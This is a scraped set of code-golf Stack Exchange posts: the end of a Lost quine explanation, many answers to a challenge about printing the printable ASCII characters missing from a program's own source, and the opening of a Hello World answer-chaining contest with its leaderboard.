rid of all the values on the stack then turn the safety of push the string and exit. (safety is a concept unique to Lost every program must hit a `%` before exiting, this prevents the possibility of the program terminating upon start). Now my idea would be to extend this form into a full fledged quine. The first thing that had to be done was to rework the loop a bit, the existing loop was specific to the String format. ``` >%?!<"Stringv"(@ ^<<<<<<<<<<<<<<< ^<<<<<<<<<<<<<<< ``` We need to add a second stream to avoid the possibility of the `!` jumping over the stream and creating a loop. Now we want to mix this with the standard Quine format. Since Lost is based very much on Klein I've ~~basically stolen~~ borrowed the Klien Quine for [Martin Ender](https://codegolf.stackexchange.com/users/8478/martin-ender). ``` :2+@>%?!< " <<<<^<<<<<< <<<<^<<<<<< ``` This quite conveniently prints the first line of the quine. Now all we need to do is hard-code the streams. Well this is easier said than done. I tried approximately four different methods of doing this. I'll just describe the one that worked. The idea here is to use doors to get the desired number of arrows. A Door is a special type of mirror that changes every time it is hit. `[` reflects ips coming from the left and `]` from the right. When they are hit by an ip from either of these sides the switch orientation. We can make a line of these doors and a static reflector to repeatedly perform an operation. ``` >:[[[ ``` Will perform `:` three times. This way if we push a `<` to the stack before hand we can make a lot of them with less bytes. We make 2 of these, one for each line, and in between them we lay down a newline, however the second one needs only go until it covers the `!` we added it for, anything else can be left empty saving us a few bytes. Ok now we need to add the vertical arrows to our streams. This is where the key optimization comes in. Instead of redirecting all the ips to the "start" of the program directly we will instead redirect them to the far left, because we already know that the ips starting in far left *must* work (or at least will work in the final version) we can also just redirect the other ips. This not only makes it cheaper in bytes, I think this optimization is what makes the quine possible. However there are still some problems, the most important one being ips starting after the `>` has been pushed but before we start making copies of it. Such ips will enter the copier and make a bunch of copies of 0. This is bad because our stack clearing mechanism uses zeros to determine the bottom of the stack, leaving a whole bunch of zeros at the bottom. We need to add a stronger stack sanitation method. Since there is no real way of telling if the stack is empty, we will simply have to attempt to destroy as many items on the stack as possible. Here we will once again use the door method described earlier. We will add `((((((((((([[[[[[[[[[[[[[` to the end of the first line right after the sanitizor to get rid of the zeros. Now there is one more problem, since we redirected our streams to the upper left ips starting at the `%` and moving down will already have turned the safety off and will exit prematurely. So we need to turn the safety off. We do this by adding a `#` to the stream, that way ips flowing through the stream will be turned off but ips that have already been sanitized will not. The `#` must also be hard coded into the first line as well. That's it, hopefully you understand how this works now. ]
[Question] [ Your task is to build a program (using only printable ASCII characters and/or tabs and newlines) that prints out exactly the characters in the printable ASCII space (`0x20` to `0x7e`) that *don't* appear in your program's source code (in any order, however many times you want). The shortest code to do this in any language wins. [Answer] # Polyglot, 95 ``` #undef X;A!"$%&'()*+-[,.]/0123456789:<=>?@BCDEFGHIJKLMNOPQRSTUVWYZ\^_`abcghijklmopqrstvwxyz{|}~ ``` * [Perl](https://www.perl.org/) * [Perl 6](https://perl6.org/) * Any \*nx-like shell (`tclsh`, `bash`, `sh`, `ksh`, etc) * [Awk (GNU / POSIX)](https://www.gnu.org/software/gawk/manual/gawk.html) * [Brainfuck](http://esolangs.org/wiki/brainfuck), [Brian & Chuck](https://github.com/m-ender/brian-chuck), other [derivatives](http://esolangs.org/wiki/Brainfuck_Derivatives) * [Ruby](https://www.ruby-lang.org/en/) * [Coffescript](http://coffeescript.org/) * [Golfscript](http://www.golfscript.com/golfscript/) * [Python](https://www.python.org/) * [R](https://www.r-project.org/) * [Julia](https://julialang.org/) * [Whitespace](https://en.wikipedia.org/wiki/Whitespace_(programming_language)) * [rk](//github.com/aaronryank/rk-lang) * [Gaot++](https://github.com/tuxcrafting/gaot-plus-plus) * [bc](https://www.gnu.org/software/bc/manual/html_mono/bc.html) * [jq](https://stedolan.github.io/jq/) * [Joy](http://www.latrobe.edu.au/humanities/research/research-projects/past-projects/joy-programming-language) * [Tcl](http://tcl.tk/) * [99](https://esolangs.org/wiki/99) * [V (FMota)](https://esolangs.org/wiki/V_(FMota)) * [Acc!!](https://github.com/dloscutoff/Esolangs/tree/master/Acc!!) * C - if no `main()` is needed. Thanks to [urogen](https://codegolf.stackexchange.com/users/3544/ugoren) * [Duocentehexaquinquagesimal](https://esolangs.org/wiki/Duocentehexaquinquagesimal) * [Vyxal `O`](https://github.com/lyxal/vyxal) * [Thunno `d`](https://github.com/Thunno/Thunno) * Probably more. Does nothing. [Answer] ## PHP 5.2, 4 + 69 ``` <?<< ``` Save as a file called `!"#$%&'()*+-.023456789;=>@ABCDEFGIJKMNOQRUVWXYZ[\]^`bfghjkmqvwz{|}~`. `short_open_tag` needs to be `On` in your `php.ini`. The output is: ``` PHP Parse error: syntax error, unexpected T_SL in /wherever/!"#$%&\'()*+-.023456789;=>@ABCDEFGIJKMNOQRUVWXYZ[\\]^`bfghjkmqvwz{|}~ on line 1 ``` [Answer] ### GolfScript, 15 12 characters ``` {`),32>^.}.~ ``` Based on [Jan Dvorak's answer](https://codegolf.stackexchange.com/a/12373/1490) with a few twists and also in the style of [Peter Taylor's one](https://codegolf.stackexchange.com/a/12374/1490). [Answer] ## JavaScript - 88 ``` alert("BCDFGHIJKMNPQUVXYZ".toLowerCase())// !#$%&'*+,-0123456789:;<=>?@[\]^_`{|}~AERTOWS ``` prints "bcdfghijkmnpquvxyz" [Answer] ### Whitespace, 61 57 characters It's not the shortest but it probably has the simplest logic (it's just a loop really). Here it is completely commented, where S is space, T is tab, L is line feed: ``` SSSTSSSSSL # push 0x20 LSSSL # label S SSSTL # push 1 TSSS # add SLS # duplicate top of stack SLS # duplicate again TLSS # output ASCII character SSSTTTTTTSL # push 0x7E TSST # subtract (result - 0x7E) LTTSL # branch to label S if top of stack is negative LLL # end ``` Thanks to @r.e.s. for correction to the above (required extra duplicate for the branch instruction) and for smaller numbers to push on the stack. [Answer] ## C, ~~83~~ ~~74~~ 69 characters ``` main(z) {for(;++z<96;"\33iE!vk?}GkRP8z"[z/7]&1<<z%7&&putchar(z+32));} ``` ~~I really tried to get it down below 80 characters, but I just haven't been able to pull it off. I finally decided to post what I have, on the assumption that I (or someone else) will figure out 79-character solution ten minutes after posting this.~~ Okay, it wasn't quite ten minutes, but it worked in principle. I really wanted to post a version that didn't have to have a gratuitous space in the source code, but that one landed in a strange-attractor orbit, bouncing between a handful of solutions. After many minutes of trying to nudge one of them into a stable solution, I gave up and added the space. [Answer] ### ><> - 80 ``` zbcdjkpqruvwxaABCDEFGHIJKLMNOPQRSTUVWXYZ#!"'$%^&*()@!+-[]{},;:/\<>=?|~0123456789 ``` When fish errors it prints out "something smells fishy...". Since z is a bad instruction it errors right away [Answer] ### Golfscript, ~~26~~ 24 characters ``` "126,32>''+".~\-'.~\-"'- ``` Takes a range generation script, duplicates it, executes it, substracts it from its result, then substracts the result subtraction code and the other quote character. [Answer] I know it's not winning any contests. I just wanted to try it in a language not normally used, just for kicks. # **Java - ~~209~~ ~~195~~ ~~152~~ 140 characters** ``` class a{public static void main(String[]a){for(char c=0;;c++)System.out.print("publicas{tvodmn(Srg[])h=0;w+ye.\"\\xO<?:}".indexOf(c)<0?c:"");}} ``` **With line breaks and tabs** ``` class a{ public static void main(String[]a) { for(char c=0;;c++) System.out.print("publicas{tvodmn(Srg[])h=0;w+ye.\"\\xO<?:} ".indexOf(c)<0?c:""); } } ``` Beware if you execute: program does not terminate. Haha **Explanation** 1. `for(char c=0;;c++)`: Since a `char` can be treated as an `int`, I use that to my advantage here to increment through all possible values of `c`. I omit the terminating condition in the loop (the one that would go between the two semicolons) in order to save on characters, since it wasn't specified that the program had to terminate. :) 2. `"publicas{tvodmn(Srg[])h=0;w+ye.\"\\xO<?:} ".indexOf(c)<0?c:""`: Sadly, not a very elegant approach, but it gets the job done. Manually list every character present in the source code as a `String` literal, then check whether the current `char c` occurs within it with `indexOf()`. If the `indexOf()` call returns `-1`, it doesn't exist, and therefore we should print it. The rest of it just uses the ternary operator to save on characters and space. [Answer] ## Perl, 49 characters ``` say grep/[^+-246\[-^aceghmprsy]/,map chr,041..126 ``` This is an interesting challenge -- it's sort of the anti-quine, and I've managed to shorten the program a couple of times by *increasing* the range of characters that appear in it. [Answer] ## Ruby, ~~81~~ ~~78~~ ~~68~~ ~~66~~ ~~62~~ 57 ``` (?!..?~).map{|a|$><<a if/[()ifmap{}|?!.~\/\\\[\]$><]/!~a} ``` Simply checks itself. Duplicate characters manually removed. Thanks to Josh for saving 4 characters, and minitech for saving 5 characters! [Answer] ## Befunge (48) ``` <|::-1,+*88:<+3*87 6<@.**85 9>"()~&"/%$ |!#';=?} ``` Outputs: {zyxwvutsrqponmlkjihgfedcba`\_^][ZYXWVUTSRQPONMLKJIHGFEDCBA240 [Answer] Not very serious, but I had to give it a go: ## JSFuck (138152) [(compiled source here)](http://wmmusic.nl/codexamples/printsitselfjsfuck.js) Original source: ``` for(x=0x7e;x>0x19;x--){ console.log(String.fromCharCode(x).replace(/[\[\]!\+\(\)]/ig, '')) } ``` Prints all characters except ***()+[]!*** [Answer] ## GolfScript (18 16 chars) ``` "),@`^^32>#.~".~ ``` [Online demo](http://golfscript.apphb.com/?c=IiksQGBeXjMyPiMufiIufgoKLnB1dHMgMTI3LDMyPl4nIiksQGBeXjMyPiMufiIufideLA%3D%3D) with an extra line which does a correctness check and outputs the number of characters in error. (I have various equivalent alternatives. `@`^` can be replaced with `\\``; `#` can be replaced with ``` or `]`. The right combination can be used with Howard's trick to equal his score of 15 because backslashes don't need escaping in blocks the way they do in string literals: `{),\`^32>].~}.~`. But Howard deserves the credit for that trick). [Answer] # Brainfuck, 173 ``` +++++[->++++++<]>>>++[------<+>]<++++>>----[----<+>]>-[-------<+>]>-[---<+>]<------->>-[---<+>]<+++++++++>>--[-----<+>]<+++++>>+[---------<++>]+++++++++++++[<[.+<]>[>]<-]\=, ``` Pretty long, I might try again later. [Answer] ## J (~~52~~ 40) Edit: Duh, forgot about `e.` ``` '''([[email protected]](/cdn-cgi/l/email-protection)#[)~95{32}a'(-.@e.#[)~95{.32}.a. ``` Old version: ``` (>@(*/@('(>@*/''&~:).#]32{95}a'&~:)&.>)#])95{.32}.a. ``` Other variant (same length but less output): ``` ([#~*/"1@('([#~*/"1@''&:0)95{.32}a'&~:"0))95{.32}.a. ``` [Answer] # Python 3 - ~~68~~ 61 ``` x=r"print(*set(map(chr,range(32,127)))-set(x+'=\"'))" exec(x) ``` ... thanks to @WolframH for the improvements. [Answer] ## PowerShell: 96 Must be saved and run as a script. ``` diff([char[]](gc $MyInvocation.InvocationName))([char[]](32..126))-Pa|?{$_.SideIndicator-eq'=>'} ``` `diff` is a built-in alias for `Compare-Object`. `gc` is a built-in alias for `Get-Content`. `$MyInvocation.InvocationName` gets the full path to the script being executed. `32..126` is the decimal equivalent for `0x20..0x7e`, and so creates an array of the decimal ASCII codes we're looking for. `[char[]]` takes the contents of the next object and puts them into an array, breaking them up and converting them into ASCII characters. So, we now have two arrays of ASCII characters - one pulled from this script, the other defined by the challenge criteria. `-Pa` sets `Compare-Object` to "Passthru" format, so only the items which are found different between the inputs are output at the console - indicators of which items were in which input are still stored in the object's data, but are not displayed. `|?{$_.SideIndicator-eq'=>'}` pipes `Compare-Object`'s output to `Where-Object`, which filters it down to only the items which are exclusive to the second input. [Answer] # **Java - 126 characters** minimized: ``` class hjq{public static void main(String...w){for(char z='"'|0;++z!='a';)if("'()+.0;=OS".indexOf(z)==~0)System.out.print(z);}} ``` unminimized: ``` class hjq { public static void main(String... w) { for (char z = '"'|0; ++z != 'a';) { if ("'()+.0;=OS".indexOf(z) == ~0) { System.out.print(z); } } } } ``` This is an interesting problem, because individual tokens might benefit from their longer form because it re-uses characters. For example, normally `String[]` would be shorter, but `String...` removes the need for the square brackets in the conditional string. I found the trick was to try and use characters at the beginning and end of the range so you can exclude them from the output simply by altering your loop start and end. For Java, a key character to exclude is `"`, because having that in the string requires escaping it, which adds `\` to your program, which needs to go in the string, which adds `\\`. By removing `"` from your conditional string you remove 4 characters. This can be achieved by making sure you use and `!` and starting your loop from `#`. All the lowercase letters appear near the end of the range, with only `{`, `|`, `}` and `~` coming after them. Because of Java's verbosity, most of the lowercase letters are used just for the boilerplate. Likewise, `{` and `}` are trivial for a Java program, because the boilerplate requires them. `|` can be used if you have an or condition, but I couldn't find a way to take advantage of one that leads to a shorter program than just using `|` as a bitwise operator. The `|0` makes me feel a little dirty, because it's the only part that's a nop just to get the character in there. `~0` yields `-1`, which is handy because that's what we need to check for with `indexOf`. Combining this with using `!=` for the loop conditional eliminates the `<` character altogether, which means it doesn't need to go inside the conditional string. [Answer] **Javascript, 92** ``` (function f(){for(i=32;126>i++;)!~(""+f).indexOf(c=String.fromCharCode(i))&&console.log(c)})() ``` [Answer] # [BitShift](http://esolangs.org/wiki/BitShift), 1038 bytes BitShift is a language which only supports `0` and `1` as syntax. I figured it would be easy to print all other characters, but since it doesn't really support looping it still ended up a massive 1038 bytes. However, I believe it's not really possible to go any smaller than this.. ``` 101001100101011011010100110111010100100101011001101111010100100101011001000101011011010100101100110110101001001010110010001010110110101000001101010010010101100100010101101101010000010000011001010110110101000010000101011011010100110111010100100101011111100101011011010100110111010100100101011001101111010100100101011001000101011011010100000000011010100100101011001000101011011010100110010000101011011010100110111010100100101011001101001101010010010101100100010101101101010011001000010101101101010011011101010010010101111011111110010101101101010011011101010010010101100101100101011011010100010001010110110101001000010101101101010011011101010010010101110111110010101101101010011011101010010010101111111100101011011010100110111010100100101011111011110101001001010110010001010110110101001000100000101011011010100110111010100100101011111010011010100100101011001000101011011010100100000101011011010100110111010100100101011001101111010100100101011001000101011011010100010000010101101101010011011101010010010101101001101101010010010101101001101010 ``` Prints ``` !"#$%&'()*+,-./23456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ ``` Try it [here](https://dl.dropboxusercontent.com/u/10914578/Bitshift.html) [Answer] # Brainfuck, ~~133~~ ~~123~~ ~~114~~ 110 bytes ``` ++++++++++++++++[->++++++>++>+++>++++>++<<<<<]>-->>->->+[---<.+.+<.+<.+<.+.+.+>>>>]++[-<.+.+.+<.+>>]<+.<+.<++. ``` A bit of more tinkering with a former solution (before I realized the below was smaller - allthough this was before I did some heavy optimization). This works by storing 4 sets of ascii numbers and print them with some tricky looping, and then give the missing characters afterwards (i.e. ones that are between invalid ascii numbers). Original submission ``` >>+++++++++++[<+<+>>->++>+++<<]<++>>++++++>>+++++[-<<<++++++>>>]<<<+<<[->>+.<<]>>++.++<[->+.<]>++.+>[-<+.>]<++.+>>[-<<+.>>] ``` It does the following: * Create 4 registers containing 11. 13, 28, 33 * Create a 5th with the value 31 to start the printing * Print ascii 32-42 (11) * Print ascii 44 * Print ascii 47-59 (13) * Print ascii 61 * Print ascii 63-90 (28) * Print ascii 92 * Print ascii 94-126 (33) [Answer] ## sh (47) ``` tr</dev/urandom -cd \[:print:]|tr -d "`cat $0`" ``` Uses the self-referential approach. Assumes `/dev/urandom` will eventually output every octet at least once. Doesn't terminate. If we assume that `man` is installed, we could instead make use of the `ascii(7)` manpage (and thus have a terminating program) (**44** chars, thanks @fennec). ``` man ascii|tr -cd \[:print:]|tr -d "`cat $0`" ``` [Answer] ## Python 2, 69 ``` for x in range(38):print chr(x+59)#!"$%&'*,-./012467bdjklmqsuvwyz{|}~ ``` I use the longest (that I'm able to find) sequence of continuous chars I can print out and add the others as a comment after the code. [Answer] # [Vyxal](https://github.com/Vyxal/Vyxal), 11 bytes I don't think I saw any Vyxal on here! Prints all printable ASCII with kQ and filters chars out with F ``` kQ`\kQF\``F ``` [Try it Online!](https://vyxal.pythonanywhere.com/?v=2#WyIiLCIiLCJrUWBcXGtRRlxcYGBGIiwiIiwiIl0=) [Answer] Definitely the longest solution here, but coding in Lino is always fun: # [L.in.oleum](http://anynowhere.com/bb/layout/html/frameset.html) - ~~655~~ 523 characters ``` "libraries"/arch/cpu/base;/hmi/conout;/data/bytes;/data/string/t2s;/data/heap;/data/heap/connect/mgrab;"stockfile"a;"directors"displaystatus=engage;"injection"c=524;b<-bytes.bytesizeconvert:c;b<-heap.alloc:b;a<-heap.alloc:c;[filecommand]=readfile;[filename]=stockfile;[fileposition]=0;[fileblocksize]=c;[fileblockpointer]=b;arch.fileread;[string.psource]=b;[string.ptarget]=a;string.t2s;b<-heap.alloc:7fh;c=32;d=b;"f"[d_32]=c;+c;+d;?c<7fh>f;"w"d=[a];+a;?d=0>y;?d<32>w;?d>7eh>w;e=b;e+d;[e]=33;^w;"y"b+32;"v"conout.say:b;bye; ``` No comments, just reads the source compiled into binary. Save as `a.txt` or it won't compile! [Answer] ## Haskell (70) ``` import Data.List main=putStrLn$[' '..'~']\\" \\\"$'.=DLS[]aimnoprstu~" ``` The boring duplicate-characters-in-program-in-a-string, subtract-from-universal-set solution. Far from a codegolf winner, though it's surprisingly legible for its length. (Now with list subtraction instead of `filter`/`notWith`.) [Answer] # Java - 111 Bytes I know I'm 4 years too late, but I just found this question. ``` void SPARE_VOMIT(){System.out.print(0!=('^'>>8|3&6%2<<~7*4)?"$#/^@\bc[]":'`'-5+"lnbfghjkqwxyz".toUpperCase());} ``` I tried to put as few characters in the ignored String as possible. Ungolfed: ``` void SPARE_VOMIT(){ // vomit out all the spare characters System.out.print(0 != ('^'>>8|3&6%2<<~7*4) ? // Both sides here = 0 "$#/^@\bc[]" : // The shame string... '`'-5 + "lnbfghjkqwxyz".toUpperCase()); // Print 91 and caps. } ``` [Answer] # [><>](https://esolangs.org/wiki/Fish), ~~44~~ ~~43~~ ~~37~~ 35 bytes [crossed out 44 is still regular 44 ;(](https://codegolf.stackexchange.com/a/135601/76162) ``` " 'r:{-}30{l4-*?.~~:9e*=?;:l2=?o1+} ``` [Try it online!](https://tio.run/##S8sszvj/X0lBvciqWrfW2KA6x0RXy16vrs7KMlXL1t7aKsfI1j7fULv2/38A "><> – Try It Online") Outputs `!#$%&(),/5678<>@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdfghijkmnpqstuvwxyz|` ### How It Works: ``` " Wrapping string literal, adding the source code to the stack. This adds a space at the start to initialise the counter ' Runs another string literal over the whole code This means both " and ' are added to the stack r: Get the counter from the bottom of the stack and duplicate it {-} Get the bottom of the stack and check if it is equal to the counter. Push the check to the bottom of the stack 30 Add 3, 0 to the stack for later {l4-* Get the equality check from the bottom of the stack and OR it with whether the stack is empty of values to check against ?. If the character is equal or the stack is empty, continue. Else set the instruction pointer to 3,0 to check against the next character ~~ Pop the excess 3,0 :9e*=?; Check if the counter is equal to the 126, the last character, and end if so. :l2=?o If the stack is empty of values to check (ie the character is not in the code), print it. 1+} Add one to the counter and, because ><> is toroidal, loop back to the beginning ``` [Answer] # [brainfuck](https://github.com/TryItOnline/brainfuck), 90 bytes ``` ++++[->+++>++++++++<<]>-[->.>+<+<]>+.+++>++[-<.<++>+>]<+.++<++[->.>+<+<]>+.++>+++++[-<.+>] ``` [Try it online!](https://tio.run/##SypKzMxLK03O/v9fGwiide2AJAiDgY1NrJ0uUEzPTttGG8jW1oPIRuva6NmAWHaxNiAxG7BOZFUQI0DqgGr@/wcA "brainfuck – Try It Online") **Tape Layout:** *`[Initial Count Cell] , [Counter Cell One] , [Ascii Cell] , [Counter Cell Two]`* **Explanation:** ``` ++++[->+++>++++++++<<]>- # sets counter cell one to 11 and ascii cell to 32 [->.>+<+<] # prints ascii 32-42 and creates counter cell two >+.+++>++ # prints ascii 44 and sets counter cell two to 13 [-<.<++>+>] # prints ascii 47-59 and resets counter cell one <+.++<++ # prints ascii 61 and sets counter cell one to 28 [->.>+<+<] # prints ascii 63-90 and resets counter cell two >+.++>+++++ # prints ascii 92 and sets counter cell two to 33 [-<.+>] # prints remaining ascii characters ``` **Output:** ``` !"#$%&'()*,/0123456789:;=?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\^_`abcdefghijklmnopqrstuvwxyz{|}~ ``` ]
[Question] [ ***This contest is officially over, the winner is [jimmy23013](https://codegolf.stackexchange.com/users/25180/user23013). Congratulations!*** The challenge is to make a program that prints `Hello World!` to stdout. The catch is that your program must have a [Levenshtein distance](http://en.wikipedia.org/wiki/Levenshtein_distance) of 7 or less from the program in the answer submitted before yours. # How This Will Work Below I have already submitted the first answer using Python: `print("Hello World!")`. The next person to answer must modify the string `print("Hello World!")` with up to 7 single character insertions, deletions, or substitutions so that when it is run in any language that hasn't been used so far (only Python in this case) the output is still `Hello World!`. For example the second answerer might use 1 substitution (`r -> u`), 2 deletions (`in`), and 1 insertion (`s`) to make the string `puts("Hello World!")` which prints `Hello World!` when run in Ruby. The third person to answer must do the same thing in a new language, but using the program of the second person's answer (e.g. `puts("Hello World!")`) as their starting point. The fourth answer will be in relation to the third answer and so on. This will continue on until everyone get stuck because there is no new language the last answer's program can be made to run in by only changing 7 characters. The communal goal is to see how long we can keep this up, so try not to make any obscure or unwarranted character edits (this is not a requirement however). # Formatting Please format your post like this: ``` # Answer N - [language] [code] [notes, explanation, observations, whatever] ``` Where N is the answer number (increases incrementally, N = 1, 2, 3,...). You do not have to tell which exact characters were changed. [Just make sure the Levenshtein distance is from 0 to 7.](http://planetcalc.com/1721/) # Rules The key thing to understand about this challenge is that **only one person can answer at a time and each answer depends on the one before it**. There should never be two answers with the same N. If two people happen to simultaneously answer for some N, the one who answered later (even if it's a few seconds difference) should graciously delete their answer. Furthermore... * **A user may only submit one answer per 8 hour period.** i.e. Each of your answers must be at least 8 hours apart. (This is to prevent users from constantly watching the question and answering as much as possible.) * A user may not submit two answers in a row. (e.g. since I submitted answer 1 I can't do answer 2, but I could do 3.) * Each answer must be in a different programming language. + Different versions of the same language count as the same language. + Languages count as distinct if they are traditionally called by two different names. (There may be some ambiguities here but don't let that ruin the contest.) * You may only use tabs, newlines, and [printable ASCII](http://en.wikipedia.org/wiki/ASCII#ASCII_printable_characters). (Newlines count as one character.) * The output should only be `Hello World!` and no other characters (a leading/trailing newline is not an issue). * If your language doesn't has stdout use whatever is commonly used for quickly outputting text (e.g. `console.log` or `alert` in JavaScript). **Please make sure your answer is valid.** We don't want to realize there's a break in the chain five answers up. Invalid answers should be fixed quickly or deleted before there are additional answers. **Don't edit answers unless absolutely necessary.** # Scoring Once things settle down, the user who submits the most (valid) answers wins. Ties go to the user with the most cumulative up-votes. ### Leaderboard: (out of date) (user must have at least 2 valid answers) > > **11 Answers** > > > * Optimizer - [CJam](https://codegolf.stackexchange.com/a/40378/26997), [Groovy](https://codegolf.stackexchange.com/a/40437/30525), [HTML](https://codegolf.stackexchange.com/a/40477/31414), [Forth](https://codegolf.stackexchange.com/a/40494/25180), [Rebol](https://codegolf.stackexchange.com/a/40539/31414), [Markdown](https://codegolf.stackexchange.com/a/40588/31414), [CASIO BASIC](https://codegolf.stackexchange.com/a/40641/31414), [SpeakEasy](https://codegolf.stackexchange.com/a/40684/31414), [REXX](https://codegolf.stackexchange.com/a/40708/31414), [RegXy](https://codegolf.stackexchange.com/a/40737/31414), [Pawn](https://codegolf.stackexchange.com/a/40752/31414) > * jimmy23013 - [GNU dc](https://codegolf.stackexchange.com/a/40386/26997), [Zsh](https://codegolf.stackexchange.com/a/40424/32377), [Burlesque](https://codegolf.stackexchange.com/a/40474/25180), [bc](https://codegolf.stackexchange.com/a/40499/25180), [Hack](https://codegolf.stackexchange.com/a/40553/25180), [GDB](https://codegolf.stackexchange.com/a/40600/25180), [QBasic](https://codegolf.stackexchange.com/a/40645/25180), [MediaWiki Markup](https://codegolf.stackexchange.com/a/40685/31414), [itflabtijtslwi](https://codegolf.stackexchange.com/a/40732/31414), [Squirrel](https://codegolf.stackexchange.com/a/40751/31414), [AGOL 68](/a/41553/13486) > > > > > **7 Answers** > > > * Nit - [APL](https://codegolf.stackexchange.com/a/40404/26997), [Clipper](https://codegolf.stackexchange.com/a/40440/5372), [Falcon](https://codegolf.stackexchange.com/a/40472/25180), [MUMPS](https://codegolf.stackexchange.com/a/40487/25180), [FreeBASIC](https://codegolf.stackexchange.com/a/40544/16484), [csh](https://codegolf.stackexchange.com/a/40601/16484), [Dart](https://codegolf.stackexchange.com/a/40651/16484) > * Timmy - [Lua](https://codegolf.stackexchange.com/a/40393/26997), [Lisp](https://codegolf.stackexchange.com/a/40459/25180), [Oz](https://codegolf.stackexchange.com/a/40621/25180), [Algoid](https://codegolf.stackexchange.com/a/40657/21682), [KTurtle](/a/41552/13486), [Alice](https://codegolf.stackexchange.com/a/41631/21682), [OCaml](https://codegolf.stackexchange.com/a/41709/6741) > > > **6 Answers** > > > * Stacey - [VHDL](https://codegolf.stackexchange.com/a/40400/26997), [GNU Octave](https://codegolf.stackexchange.com/a/40449/26997), [M4](https://codegolf.stackexchange.com/a/40480/30525), [Logo](https://codegolf.stackexchange.com/a/40514/4768), [Microsoft Batch](https://codegolf.stackexchange.com/a/40557/25180), [Matlab](https://codegolf.stackexchange.com/a/40620/25180) > * Dennis - [Dash](https://codegolf.stackexchange.com/a/40426/32377), [tcsh](https://codegolf.stackexchange.com/a/40463/26997), [TeX](https://codegolf.stackexchange.com/a/40488/25180), [///](https://codegolf.stackexchange.com/a/40536/21682), [HQ9+-](https://codegolf.stackexchange.com/a/40615/25180), [Alore](https://codegolf.stackexchange.com/a/40661/21682) > > > **5 Answers** > > > * plannapus - [Stata](https://codegolf.stackexchange.com/a/40406/25180), [Scheme](https://codegolf.stackexchange.com/a/40505/25180), [SQLite](https://codegolf.stackexchange.com/a/40711/26997), [Scala](https://codegolf.stackexchange.com/a/40754/6741), [Suneido](https://codegolf.stackexchange.com/a/40804/6741) > * Pietu1998 - [PHP](https://codegolf.stackexchange.com/a/40379/25180), [sh](https://codegolf.stackexchange.com/a/40591/25180), [ALAGUF](https://codegolf.stackexchange.com/a/40846/21682), [Cardinal](https://codegolf.stackexchange.com/a/40863/21682), [Grin](https://codegolf.stackexchange.com/a/40870/21682) > > > **4 Answers** > > > * ypnypn - [NetLogo](https://codegolf.stackexchange.com/a/40436/16294), [Mouse](https://codegolf.stackexchange.com/a/40469/16294), [Salmon](https://codegolf.stackexchange.com/a/40497/25180), [Maple](https://codegolf.stackexchange.com/a/40541/25180) > * resueman - [Clojure](https://codegolf.stackexchange.com/a/40435/30525), [Emacs Lisp](https://codegolf.stackexchange.com/a/40512/4768), [Vimscript](https://codegolf.stackexchange.com/a/40547/21682), [VBScript](https://codegolf.stackexchange.com/a/40643/25180) > * Timtech - [AutoLisp](https://codegolf.stackexchange.com/a/40521/10740), [Geom++](https://codegolf.stackexchange.com/a/40717/10740), [BogusForth](https://codegolf.stackexchange.com/a/40848/10740), [owl](https://codegolf.stackexchange.com/a/40858/10740) > > > **3 Answers** > > > * BrunoJ - [CoffeeScript](https://codegolf.stackexchange.com/a/40439/25180), [F#](https://codegolf.stackexchange.com/a/40471/25180), [Betterave](https://codegolf.stackexchange.com/a/40503/25180) > > > **2 Answers** > > > * Mig - [Extended BF Type III](https://codegolf.stackexchange.com/a/40418/25180), [TCL](https://codegolf.stackexchange.com/a/40451/25180) > * Calvin's Hobbies - [Python](https://codegolf.stackexchange.com/a/40377/26997), [E](https://codegolf.stackexchange.com/a/40452/26997) > * Sp3000 - [Racket](https://codegolf.stackexchange.com/a/40461/25180), [Pyth](https://codegolf.stackexchange.com/a/40380/26997) > * grc - [Haskell](https://codegolf.stackexchange.com/a/40402/26997), [Turing](https://codegolf.stackexchange.com/a/40498/25180) > * es1024 - [Nimrod](https://codegolf.stackexchange.com/a/40384/29611), [ksh](https://codegolf.stackexchange.com/a/40549/29611) > * FireFly - [FALSE](https://codegolf.stackexchange.com/a/40443/25180), [mIRC script](https://codegolf.stackexchange.com/a/40554/25180) > * g-rocket - [AppleScript](https://codegolf.stackexchange.com/a/40468/10894), [LiveCode](https://codegolf.stackexchange.com/a/40681/10894) > * Oriol - [AMPL](https://codegolf.stackexchange.com/a/40659/12784), [PARI/GP](https://codegolf.stackexchange.com/a/40773/12784) > * nneonneo - [Boo](https://codegolf.stackexchange.com/a/40768/6699), [Caché ObjectScript](https://codegolf.stackexchange.com/a/40853/6699) > > > ### Languages used so far: > > 1. [Python](https://codegolf.stackexchange.com/a/40377/26997) > 2. [CJam](https://codegolf.stackexchange.com/a/40378/26997) > 3. [PHP](https://codegolf.stackexchange.com/a/40379/26997) > 4. [Pyth](https://codegolf.stackexchange.com/a/40380/26997) > 5. [Perl](https://codegolf.stackexchange.com/a/40381/26997) > 6. [Befunge 98](https://codegolf.stackexchange.com/a/40382/26997) > 7. [Bash](https://codegolf.stackexchange.com/a/40383/26997) > 8. [Nimrod](https://codegolf.stackexchange.com/a/40384/26997) > 9. [Ruby](https://codegolf.stackexchange.com/a/40385/26997) > 10. [GNU dc](https://codegolf.stackexchange.com/a/40386/26997) > 11. [Golfscript](https://codegolf.stackexchange.com/a/40389/26997) > 12. [Mathematica](https://codegolf.stackexchange.com/a/40390/26997) > 13. [R](https://codegolf.stackexchange.com/a/40391/26997) > 14. [Lua](https://codegolf.stackexchange.com/a/40393/26997) > 15. [Sage](https://codegolf.stackexchange.com/a/40395/26997) > 16. [Julia](https://codegolf.stackexchange.com/a/40396/26997) > 17. [Scilab](https://codegolf.stackexchange.com/a/40397/26997) > 18. [JavaScript](https://codegolf.stackexchange.com/a/40398/26997) > 19. [VHDL](https://codegolf.stackexchange.com/a/40400/26997) > 20. [HyperTalk](https://codegolf.stackexchange.com/a/40401/26997) > 21. [Haskell](https://codegolf.stackexchange.com/a/40402/26997) > 22. [LOLCODE](https://codegolf.stackexchange.com/a/40403/26997) > 23. [APL](https://codegolf.stackexchange.com/a/40404/26997) > 24. [M30W](https://codegolf.stackexchange.com/a/40405/21682) > 25. [Stata](https://codegolf.stackexchange.com/a/40406/21682) > 26. [TI-BASIC (NSpire)](https://codegolf.stackexchange.com/a/40408/21682) > 27. [ActionScript 2](https://codegolf.stackexchange.com/a/40409/21682) > 28. 